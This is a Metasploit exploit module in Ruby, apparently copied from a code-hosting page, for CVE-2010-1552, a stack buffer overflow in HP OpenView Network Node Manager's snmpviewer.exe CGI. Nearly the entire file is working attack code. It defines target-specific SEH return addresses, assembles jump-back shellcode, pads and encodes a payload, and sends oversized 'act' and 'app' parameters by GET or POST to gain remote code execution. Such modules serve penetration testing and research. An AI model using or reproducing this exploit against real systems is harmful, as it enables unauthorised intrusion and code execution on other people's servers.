177 lines
5.4 KiB
Ruby
177 lines
5.4 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/snmpviewer.exe', :pattern => /Hewlett-Packard Development Company/ }
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'HP OpenView Network Node Manager snmpviewer.exe Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53
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prior to NNM_01203. By making a specially crafted HTTP request to the "snmpviewer.exe"
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CGI program, an attacker can cause a stack-based buffer overflow and execute arbitrary
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code.
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The vulnerable code lies within the a function within "snmpviewer.exe" with a
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timestamp prior to April 7th, 2010. This vulnerability is triggerable via either a GET
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or POST request. The request must contain 'act' and 'app' parameters which, when
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combined, total more than the 1024 byte stack buffer can hold.
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It is important to note that this vulnerability must be exploited by overwriting SEH.
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While the saved return address can be smashed, a function call that occurs before
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the function returns calls "exit".
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} ,
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'Author' =>
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[
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'jduck' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2010-1552' ],
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[ 'OSVDB', '64975' ],
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[ 'BID', '40068' ],
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[ 'ZDI', '10-083' ],
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[ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02153379' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 1024, # 1024 byte buffer..
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'BadChars' =>
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# Not sure why this one has a different set of bad chars...
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(
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(0x00..0x08).to_a + (0x0b..0x1f).to_a +
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[ 0x21, 0x26, 0x3c, 0x3e, 0x5b, 0x5d, 0x5e, 0x60, 0x7e, 0x7f ]
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).pack('C*'),
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'DisableNops' => true,
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# Manually use FPU to get EIP into ECX
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'PrependEncoder' => "\x89\xe2\xdb\xdb\xd9\x72\xf4\x59\x83\xe9\xf7",
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'EncoderOptions' => { 'BufferRegister' => 'ecx' },
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'HP OpenView Network Node Manager 7.53 w/NNM_01201',
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{
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'Ret' => 0x5a238ba7, # pop edx/pop ebp/ret - in ovsnmp.dll v1.30.10.9166
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}
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],
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[ 'HP OpenView Network Node Manager 7.53 (Windows 2003)',
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{
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'Ret' => 0x71c069dd, # pop edx/pop ecx/ret - in ws2_32.dll v5.2.3790.3959
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}
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],
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[ 'Debug Target',
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{
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'Ret' => 0xdeadbeef, # crasher
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}
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]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'May 11 2010'))
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end
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def exploit
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print_status("Trying target #{target.name}...")
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cgi = '/OvCgi/snmpviewer.exe'
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# "ins" must be "load" or "content"
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ins_ok = [ 'load', 'content' ]
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ins = ins_ok[rand(ins_ok.length)]
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start = 'The specified Application/Action name is not defined.<p>Application:"'
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#middle = '"<p>Action:"'
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ia32 = Metasm::Ia32.new
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# SEH
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seh_offset = 1192
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seh_frame = rand_text(8)
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# Jump back to the payload, after p/p/r jumps to us.
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distance = seh_offset - start.length + seh_frame.length # dry run
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jmp_back = Metasm::Shellcode.assemble(ia32, "jmp $-" + distance.to_s).encode_string
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distance = seh_offset - start.length - jmp_back.length
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distance += 8 if ins == 'content'
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jmp_back = Metasm::Shellcode.assemble(ia32, "jmp $-" + distance.to_s).encode_string
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# A short jump back to the long jump back :)
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jmp_small = Metasm::Shellcode.assemble(ia32, "jmp $-" + jmp_back.length.to_s).encode_string
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# Fix up the SEH frame
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seh_frame[0,jmp_small.length] = jmp_small
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seh_frame[4,4] = [target.ret].pack('V')
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# Create the buffer
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buf = ''
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buf << payload.encoded
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pad = seh_offset - start.length - buf.length - jmp_back.length
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pad += 8 if ins == 'content'
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buf << rand_text(pad)
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buf << jmp_back
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buf << seh_frame
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app = buf
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# Force an exception writing off the end of the stack
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action = rand_text(1024)
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# Send the request
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if rand(2) > 0
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print_status("Sending exploit via POST request (ins=#{ins})...")
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res = send_request_cgi({
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'uri' => cgi,
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'method' => "POST",
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'vars_post' =>
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{
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'ins' => ins,
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'act' => action,
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'app' => app
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}
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}, 3)
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else
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print_status("Sending exploit via GET request (ins=#{ins})...")
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res = send_request_cgi({
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'uri' => cgi,
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'method' => "GET",
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'vars_get' =>
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{
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'ins' => ins,
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'act' => action,
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'app' => app
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}
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}, 3)
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end
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if res and res.code != 502
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print_error("Eek! We weren't expecting a response, but we got one")
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print_status(res.inspect) if datastore['NNM_DEBUG']
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end
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handler
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end
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def wfs_delay
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5
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end
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end
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